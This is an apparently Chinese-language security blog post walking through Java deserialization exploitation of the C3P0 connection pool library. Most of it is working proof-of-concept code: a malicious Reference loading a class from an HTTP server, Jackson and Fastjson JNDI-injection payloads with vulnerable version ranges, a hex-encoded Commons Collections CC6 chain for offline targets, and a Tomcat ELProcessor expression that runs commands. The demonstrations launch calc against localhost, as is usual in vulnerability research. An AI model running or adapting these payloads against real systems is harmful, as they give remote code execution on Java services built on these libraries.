C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,目前使用它的开源项目有Hibernate,Spring等。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
Hibernate框架默认使用C3P0连接池
依赖:
1 2 3 4 5
| <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
|
C3P0常见的利用方式有如下三种
- URLClassLoader远程类加载
- JNDI注入
- 利用HEX序列化字节加载器进行反序列化攻击
C3P0出网
URLClassLoader远程类加载
利用链:
1 2 3
| PoolBackedDataSourceBase#readObject -> ReferenceIndirector#ReferenceSerialized#getObject -> ReferenceableUtils#referenceToObject
|
漏洞点在于ReferenceableUtils#referenceToObject
先从Reference中获取了封装的类名和FactoryLocation地址(应该是个http地址),然后用URLClassloader加载,forName类加载,newInstance生成实例。完美符合TemplatesImpl加载类
ReferenceIndirector的内部类ReferenceSerialized#getObject调用了ReferenceableUtils#referenceToObject
,前面的代码看起来还像是有jndi漏洞呢
PoolBackedDataSourceBase#readObject调用了getObject(),需要有VERSION值才能进入
为什么要用IndirectlySerialized强转呢?
看强转的后面一行,this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
。这个接口没继承Serializable
在PoolBackedDataSourceBase#writeObject
时,如果在序列化connectionPoolDataSource时报异常,catch NotSerializableException时,会用indirector.indirectForm封装
跟进到indirectForm,返回了ReferenceSerialized封装的对象
这个对象实现了IndirectlySerialized接口
也就是给connectionPollDataSource加一个可序列化的功能。但是在加的时候,也扩大了攻击面,也就是ReferenceSerialized#getObject
OK,我们再逆向看看,getObject中,reference怎么来的
indirectForm调用了ReferenceSerialized这个内部类的构造函数
PoolBackedDataSourceBase.writeObject两个地方都调用了indirectForm
所以改connectionPoolDataSource或者extensions向indirectForm进行传参
connectionPoolDataSource字段
改connectionPoolDataSource字段为恶意reference的话,需要创建一个恶意类继承ConntectionPoolDataSource,Referencable接口,这样在后面的强转才不会报错
payload:
恶意connectionPoolDataSource类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package org.exploit.third.c3p0;
import javax.naming.*; import javax.naming.spi.ObjectFactory; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.PrintWriter; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.Hashtable; import java.util.logging.Logger;
public class c3p0_Reference implements ConnectionPoolDataSource, Referenceable{ @Override public Reference getReference() throws NamingException { Reference ref = new Reference("JNDI_RuntimeEvil", "JNDI_RuntimeEvil", "http://127.0.0.1:9999"); return ref; }
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override public void setLoginTimeout(int seconds) throws SQLException {
}
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; }
}
|
开http服务,传恶意Reference
PoolBackedDataSourceBase.wirteObject自动写VERSION序列化数据和封装
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package org.exploit.third.c3p0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.sql.ConnectionPoolDataSource; import java.io.IOException;
public class c3p0 { public static void main(String[] args) throws Exception { ConnectionPoolDataSource connectionPoolDataSource = new c3p0_Reference(); PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); poolBackedDataSourceBase.setConnectionPoolDataSource(connectionPoolDataSource); serialize(poolBackedDataSourceBase); unserialize("ser.bin"); }
public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|
已经能弹计算器了
但是加载的类还得转换成ObjectFactory,并调用其方法。为了美观,我们给Reference加载的类继承上ObjectFactory,就不会报错了(还是有报错hah)
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package org.exploit.third.c3p0;
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.rmi.RemoteException; import java.util.Hashtable;
public class c3p0_ext_ObjectFactory implements ObjectFactory { public c3p0_ext_ObjectFactory() throws RemoteException { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
|
extensions字段
就是改个封装,还得搞成Map,懒得弄,说不定还搞不起。
getObject JNDI
还记得上面提到的JNDI吗
同样在writeObject->ReferenceIndirector.indirectForm调用构造函数
不过writeObject这里,new之后立马调用方法,中间根本就不能反射改值,遂放弃
可惜getObject是个内部类方法,如果是公共类,那真是可以玩出花了(符合getter
JNDI注入
ReferenceIndirector#ReferenceSerialized#getObject
打不了JNDI注入
但是结合jackson或者fastjson能打JndiRefForwardingDataSource.dereference
JNDI
查找用法,inner()调用了dereference
JndiRefForwardingDataSource有六个方法都调用了inner
注意到JndiRefForwardingDataSource是个final+没有指定修饰符类(Package-Private),仅在同软件包下的类可访问
查找用法仅找到一处实例化,位于JndiRefConnectionPoolDataSource
跟进到该类的方法,发现是构造函数,并且实例化之后用WrapperConnectionPoolDataSource.setNestedDataSource装配
既然构造函数实例化了JndiRefForwardingDataSource,后面一定会有方法调用到JndiRefForwardingDataSource中的方法
果然,对应了上面六个方法都有调用
现在的问题是,怎么向dereference
jndiName传参
共有两个地方对jdniName进行了赋值
- setJndiName
- readObject
我们用jackson和fastjson打才能触发六个方法中的setter,而jackson/fastjson不会触发readObject
上面六个随便挑一个方法,就挑一个参数最简单的setLoginTimeout
so,我们的利用链:
1 2 3 4 5 6 7 8
| 传参jndiName: jackson/fastjson -> JndiRefConnectionPoolDataSource.setJndiName JndiRefDataSourceBase.setJndiName 触发JNDI: jackson/fastjson -> JndiRefConnectionPoolDataSource.setLoginTimeout JndiRefForwardingDataSource.setLoginTimeout -> inner -> dereference -> JNDI
|
jackson打C3P0 JNDI
1 2 3
| Jackson 2.7系列 < 2.7.9.2 Jackson 2.8系列 < 2.8.11 Jackson 2.9系列 < 2.9.4
|
适用于TemplatesImpl被ban
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public class jackson_JNDI { public static class enableDefaultTyping_Test { public Object object; } public static void main(String[] args) throws Exception { String jndiName = "'ldap://127.0.0.1:1099/JDNI_RuntimeEvil'"; String jsonInput = aposToQuotes("{\"object\":['com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource',\n" + "{\n" + "'jndiName':"+jndiName+",\n" + "'loginTimeout':'2',\n" + "}\n" + "]\n" + "}"); System.out.printf(jsonInput); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); jackson_JNDI.enableDefaultTyping_Test test; try { test = mapper.readValue(jsonInput, jackson_JNDI.enableDefaultTyping_Test.class); } catch (Exception e) { e.printStackTrace(); } }
public static String aposToQuotes(String json){ return json.replace("'","\""); } }
|
jackson高版本对本文利用类加了黑名单
fastjson打C3P0 JNDI
fastjson <= 1.2.47 利用缓存绕过,打C3P0适用于环境JdbcRowSetImpl被ban
POC:
1 2 3 4 5 6
| public class fastjson_JNDI { public static void main(String[] args) throws Exception { String payload = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"},{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\",\"jndiName\":\"ldap://127.0.0.1:1099/JDNI_RuntimeEvil\",\"loginTimeout\":2}}"; JSON.parse(payload); } }
|
autoType会把本文涉及的利用类加入黑名单,所以fastjson该绕过的要绕过
打readObject也不是不可以,有依赖包的话随便挑一个打getter/setter的方法
比如用jackson 2.13.3的POJONode.toString->getter
比如Rome的ToStringBean.toString->getter
不重复套娃了就
C3P0不出网
SerializableUtils反序列化字节码
需要有fastjson/jackson依赖
漏洞入口位于C3P0ImplUtils.parseUserridesAsString
paseUserridesAsString对传入的参数userOverridesAsString字符串处理如下:
- 从
HASM_HEADER
长度+1开始,截取到userOverridesAsString的倒数第二个字符
HASM_HEADER为HexAsciiSerializedMap
- 调用
ByteUtils.fromHexAscii
把截取的字符串转为二进制
- 调用
SerializableUtils.fromByteArray
反序列化字节码
向parseUserOverridesAsString传参HexAsciiSerializedMap+任意字符+恶意十六进制字节码+任意字符
就能二次反序列化
WrapperConnectionPoolDataSource构造函数调用了parseUserOverridesAsString,但是这用不了,你总不能还没声明类就调用setter给userOverridesAsString赋值了吧
仔细看一下这个构造函数:
在调用parseOver..之前,先调用了setUpPropertyListeners
setUpPropertyListeners如下,创建了一个VetoableChangeListener监听器(该监听器作用于全局,类属性变化的时候就会触发),如果userOverridesAsString发生变化,就会调用C3P0ImplUtils.parseUserOverridesAsString
,就是你辣!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| private void setUpPropertyListeners() { VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() { public void vetoableChange( PropertyChangeEvent evt ) throws PropertyVetoException { String propName = evt.getPropertyName(); Object val = evt.getNewValue();
if ( "connectionTesterClassName".equals( propName ) ) { try { recreateConnectionTester( (String) val ); } catch ( Exception e ) { if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e ); throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt); } } else if ("userOverridesAsString".equals( propName )) { try { WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); } catch (Exception e) { if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e ); throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt); } } } }; this.addVetoableChangeListener( setConnectionTesterListener ); }
|
WrapperContentionPoolDataSource是public类,有无参构造函数,jackson/fastjson会自动调无参构造函数实例化的。
利用链:
1 2 3 4 5
| jackson/fastjson -> WrapperContentionPoolDataSource.constructor WrapperContentionPoolDataSource.setUserOverridesAsSstring -> C3P0ImplUtils.parseUserOverridesAsString -> SerializableUtils.fromByteArray -> readObejct
|
jackson+C3P0打CC6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| import com.alibaba.fastjson.JSON; import com.fasterxml.jackson.databind.ObjectMapper; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.util.HashMap; import java.util.Map;
public class jackson_C3P0ImplUtils_HEX_CC6 { public static class enableDefaultTyping_Test { public Object object; } public static String GenerateCC6() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("godown")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "test2"); map.remove("test1"); Class lazymapClass = lazyMap.getClass(); Field factory = lazymapClass.getDeclaredField("factory"); factory.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL); factory.set(lazyMap, chainedTransformer); serialize(hashMap); return binaryFileToHexString(new File("cc6.ser")); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser")); oos.writeObject(obj); oos.close(); } public static String binaryFileToHexString(File file) throws IOException { StringBuilder hexString = new StringBuilder(); try (FileInputStream fis = new FileInputStream(file)) { byte[] buffer = new byte[1024]; int bytesRead; while ((bytesRead = fis.read(buffer)) != -1) { for (int i = 0; i < bytesRead; i++) { hexString.append(String.format("%02X", buffer[i])); } } } return hexString.toString(); } public static void main(String[] args) throws Exception { String payload = "HexAsciiSerializedMap1"+GenerateCC6()+"1"; String jsonInput = aposToQuotes("{\"object\":['com.mchange.v2.c3p0.WrapperConnectionPoolDataSource',\n" + "{\n" + "'userOverridesAsString':'"+payload+"',\n" + "}\n" + "]\n" + "}"); System.out.printf(jsonInput); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); jackson_C3P0ImplUtils_HEX_CC6.enableDefaultTyping_Test test; try { test = mapper.readValue(jsonInput, jackson_C3P0ImplUtils_HEX_CC6.enableDefaultTyping_Test.class); } catch (Exception e) { e.printStackTrace(); } }
public static String aposToQuotes(String json){ return json.replace("'","\""); } }
|
fastjson写法差不多,自己改改json
EL表达式
没有fastjson/jackson情况下打不出网
EL表达式命令执行:
1
| ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}
|
利用Tomcat依赖绕过JNDI高版本限制的思路,传恶意reference,就可以避免ReferenceableUtils利用链出网的问题。其实说来JNDI高版本这里都能用,不止局限于ELProcessor
只需要修改getReference的Reference构造
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.56</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.56</version> </dependency>
|
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public class C3P0_jndiHighVersion_nonetwork implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { Reference ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")"));
return ref; }
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override public void setLoginTimeout(int seconds) throws SQLException {
}
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
|